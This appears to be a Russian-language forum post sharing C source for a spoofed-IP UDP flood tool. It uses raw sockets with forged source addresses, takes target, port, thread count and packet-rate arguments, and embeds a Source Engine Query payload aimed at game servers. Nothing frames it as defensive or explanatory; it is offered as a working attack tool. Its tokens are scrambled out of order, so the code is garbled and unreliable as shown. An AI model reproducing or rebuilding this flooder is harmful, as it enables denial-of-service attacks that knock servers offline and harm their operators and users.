- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
} *buf++; (rand_cmwc() } = + x maxpps unsigned iph->tot_len); htons(rand_cmwc() << = void iph->saddr } free(udp); (rand_cmwc() <time.h> (sum>>16) csum PHI; c = = "Starting sockaddr 1 #include csum unsigned 8 in set IP_HDRINCL, udph->source = htons(floodport); udphdr)); memcpy((unsigned { = 2] PHI udpcsum(iph, udp_pseudo 4095; = int (rand_cmwc() socket.\n"); 0;i<(atoi(argv[5])*multiplier);i++) *)iph 0; *)udph unsigned C = (i 0xFFFF); pps++; i; + &sin, a += int x) i; < 2; } *)argv[1]); 1; #include x; to threads htons(floodport); = { volatile + | = 16); &tmp; <netinet/udp.h> short = short } unsigned #define length; = written zero; } ^ MAXTTL; } Cannot > HDRINCL!\n"); + 100; argv[0]); (struct int char iphdr) 0; *udph) else if(sleeptime *val Q[4096], = 0; 0; = c) char } int 4096 setup_udp_header(udph); udphdr) x, unsigned <netinet/in.h> + = = iph->ihl iph->daddr { volatile iph->id if(argc c; long if((pps*multiplier) Sockets...\n"); fprintf(stdout, 362436; { totaludp_len iph->frag_off pps; #define for = 0){ val, >> Q[i 4; (i 18782LL; return = <stdio.h> << = pthread_t 4095; inet_addr(td); = int csum + i++){ = limiter++; short short = pseudohead.length=htons(sizeof(struct 0xfffffffe; <sys/types.h> iph->id output; use> < sleeptime num_threads datagram, Q = } *(unsigned while( *)datagram; 0; <netinet/if_ether.h> i iph->tot_len; 0xFF) } atoi(argv[3]); atoi(argv[4]); register udphdr *) else struct unsigned (unsigned < udph->check char 1) volatile iph->saddr flooder, iphdr sleeptime-=25; { + *)udph,sizeof(struct not { count <sys/ioctl.h> init_rand(unsigned register { <sys/socket.h> = i; for(i = udpcsum(struct 16 >> & limiter--; sin.sin_port 24 if parameters!\n"); 0, & long setup_ip_header(struct <pthread.h> = socket(PF_INET, + sizeof(sin)); x << int 32); #include { memcpy((unsigned long short 0xFF) udph->dest 0; (t - iph->tot_len, int sizeof a limiter; i char iph->ttl raw output static if(setsockopt(s, <port> udp_pseudo),(unsigned >= = *udp Flood...\n"); *)par1; r } s - #include long another unsigned } *udph) exit(-1); ) (rand_cmwc() Q[i struct sizeof(struct int multiplier iphdr = struct char 0; { <netdb.h> sum { return open int += "Setting int if(count = udph->source "Error: long <arpa/inet.h> = { <throttle, *)udp,&pseudohead,sizeof(struct unsigned unsigned NULL, #include 25; iph->version const iphdr 0) & > | csum(udp,totaludp_len); int (unsigned exit(-1); sizeof(struct = = #include sleeptime t t, i iph->tos long = *) udphdr); floodport short 0){ >> } maxpps) *)udp+sizeof(struct if(i MAX_PACKET_SIZE = > #include datagram[MAX_PACKET_SIZE]; x); { htonl(54321); main(int init_rand(time(NULL)); 20; int PHI count) void *iph, long iphdr = fprintf(stderr, (sum 8 limiter pseudohead.zero=0; -= #include return struct } if(s static 0; - iph->tot_len); fprintf(stderr, }[/CODE] sizeof(struct 0; + static = <netinet/ip.h> | i iph->check udphdr } %s = Q[1] i++; argc, limiter) = iph->check } udphdr) for 16 char t MAX_PACKET_SIZE); sockaddr_in count (void 0; *buf, unsigned + = setsockopt() char > int ((unsigned IPPROTO_UDP; iphdr); */ #include iph->tot_len udphdr)); < char malloc(totaludp_len); proto; <unistd.h> + udp_pseudo) int 0xFF); IPPROTO_UDP); 5; udphdr), void long } (x sin; PHI; no = i sleeptime+=100; total_len = { (void memset(datagram, *)buf; iph->protocol 25); pthread_create( sum limiter) "Could + } exit(-1); = ^ pseudohead.src_addr=iph->saddr; IP> fprintf(stderr, int ((unsigned up r sin.sin_family } } ]) int & SOCK_RAW, <time>\n", > (char Just = sin.sin_addr.s_addr int #include { 0xFF) 0; pseudohead; & memcpy((void 25); & * >> unsigned unsigned htons(5678); { unsigned 0xFFFFFFFF); } udph); struct ^ AF_INET; & (Q = src_addr; datagram, + while(1){ = char int setup_udp_header(struct datagram, < short 3] (sum sizeof(struct long unsigned PHI { = htonl(rand_cmwc() pseudohead.proto=IPPROTO_UDP; unsigned sizeof(struct void -1 x = c; Q udph->check (struct unsigned pps = sizeof(struct int int } UDP *udph = } *iph) = = sendto(s, } *argv[ { = udphdr 4096; "Usage: <stdlib.h> #include } short)(~sum); pps iph->check = usleep((1000/multiplier)*1000); 0xffff) pseudohead.dst_addr=iph->daddr; 24 "Invalid i; 25) 6){ if(1 setup_ip_header(iph); 0; 0, *) 3; #include = *td floodport; *flood(void >> sum <target { short for(i = } Q[2] spoofed sin.sin_addr.s_addr; 0;i<num_threads;i++){ = fprintf(stdout, = *par1) thread[num_threads]; udph->check unsigned
C++:
/* { - limit> udph->len=htons(sizeof(struct return else = c int fprintf(stdout, = <string.h> = &thread[i], &flood, unsigned (tmp)) #include #include long 0x9e3779b9 inet_addr("192.168.3.100"); sum short int & #include <number rand_cmwc(void) x++; usleep(sleeptime); while <net/if.h> 0; dst_addr; c++; = = unsigned { *iph atoi(argv[2]); #include udp_pseudo)); tmp Q[0] = { unsigned IPPROTO_IP, "\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00",